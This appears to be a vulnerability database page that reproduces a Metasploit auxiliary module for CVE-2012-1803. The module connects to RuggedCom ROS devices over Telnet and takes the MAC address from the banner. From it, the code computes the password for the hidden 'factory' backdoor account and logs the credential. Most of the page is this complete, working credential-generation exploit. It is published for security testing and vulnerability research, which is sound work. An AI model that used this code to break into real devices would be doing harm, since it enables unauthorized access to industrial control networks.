Lucene search
K

RuggedCom Telnet Password Generator

🗓️ 13 May 2012 09:09:17Reported by Borja Merino <[email protected]>, jcType 
metasploit
 metasploit
🔗 www.rapid7.com👁 21 Views

RuggedCom Telnet Password Generator. Calculate password for hidden username "factory" in RuggedCom ROS based on MAC addres

Related
Code
ReporterTitlePublishedViews
Family
0day.today
RuggedCom Devices Backdoor Access
24 Apr 201200:00
zdt
GithubExploit
Exploit for CVE-2012-1803
25 May 202617:37
githubexploit
Circl
CVE-2012-1803
29 May 201815:50
circl
CVE
CVE-2012-1803
28 Apr 201200:00
cve
Cvelist
CVE-2012-1803
28 Apr 201200:00
cvelist
Exploit DB
RuggedCom Devices - Backdoor Access
24 Apr 201200:00
exploitdb
exploitpack
RuggedCom Devices - Backdoor Access
24 Apr 201200:00
exploitpack
ICS
RuggedCom Weak Cryptography for Password Vulnerability
26 Feb 201207:00
ics
NVD
CVE-2012-1803
28 Apr 201200:55
nvd
OpenVAS
Rugged Operating System Backdoor Unauthorized Access Vulnerability (Telnet)
21 Jun 201200:00
openvas
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Telnet
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'RuggedCom Telnet Password Generator',
      'Description' => %q{
        This module will calculate the password for the hard-coded hidden username
        "factory" in the RuggedCom Rugged Operating System (ROS). The password is
        dynamically generated based on the devices MAC address.
      },
      'References'     =>
        [
          [ 'CVE', '2012-1803' ],
          [ 'EDB', '18779' ],
          [ 'US-CERT-VU', '889195' ]
        ],
      'Author'      => [
        'Borja Merino <bmerinofe[at]gmail.com>',
        'jc' # ExploitDB PoC
        ],
      'License'     => MSF_LICENSE
    ))

    register_options(
      [
        Opt::RPORT(23),
        OptString.new('USERNAME', [ true, 'The username to authenticate as', 'factory']),
        OptInt.new('TIMEOUT', [true, 'Timeout for the Telnet probe', 30])
      ])
  end


  def mac_to_password(mac)
    print_status("MAC Address: #{mac}")
    mac_clean = mac.gsub("-","")
    mac_reverse = mac_clean.each_char.each_slice(2).to_a.reverse.join
    mac_reverse << "0000"
    pass = mac_reverse.hex % 999999929
    print_status("Password: #{pass}")
    return pass.to_s
  end


  def get_info(banner)
    product = banner.match(/Product:\s*\S*/)[0]
    so_version = banner.match(/Rugged Operating System\s\S*/)[0]
    return so_version << "  " << product
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: 'telnet',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      last_attempted_at: DateTime.now,
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def run_host(ip)
    to = (datastore['TIMEOUT'].zero?) ? 30 : datastore['TIMEOUT']
    begin
      ::Timeout.timeout(to) do
        res = connect
        banner_santized = Rex::Text.to_hex_ascii(banner.to_s)
        if banner_santized =~ /Rugged Operating System/
          print_status("#{ip}:#{rport} Calculating Telnet password ...")
          mac  = banner_santized.match(/((?:[0-9a-f]{2}[-]){5}[0-9a-f]{2})/i)[0]
          password = mac_to_password(mac)
          info = get_info(banner_santized)
          report_cred(ip: rhost, port: rport, user:'factory', password: password, proof: banner_santized)
          break
        else
          print_status("It doesn't seem to be a RuggedCom service.")
          break
        end
      end

    rescue ::Rex::ConnectionError
    rescue Timeout::Error
      print_error("#{target_host}:#{rport}, Server timed out after #{to} seconds. Skipping.")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Jul 2017 13:26Current
7.2High risk
Vulners AI Score7.2
CVSS 28.5
EPSS0.63489
21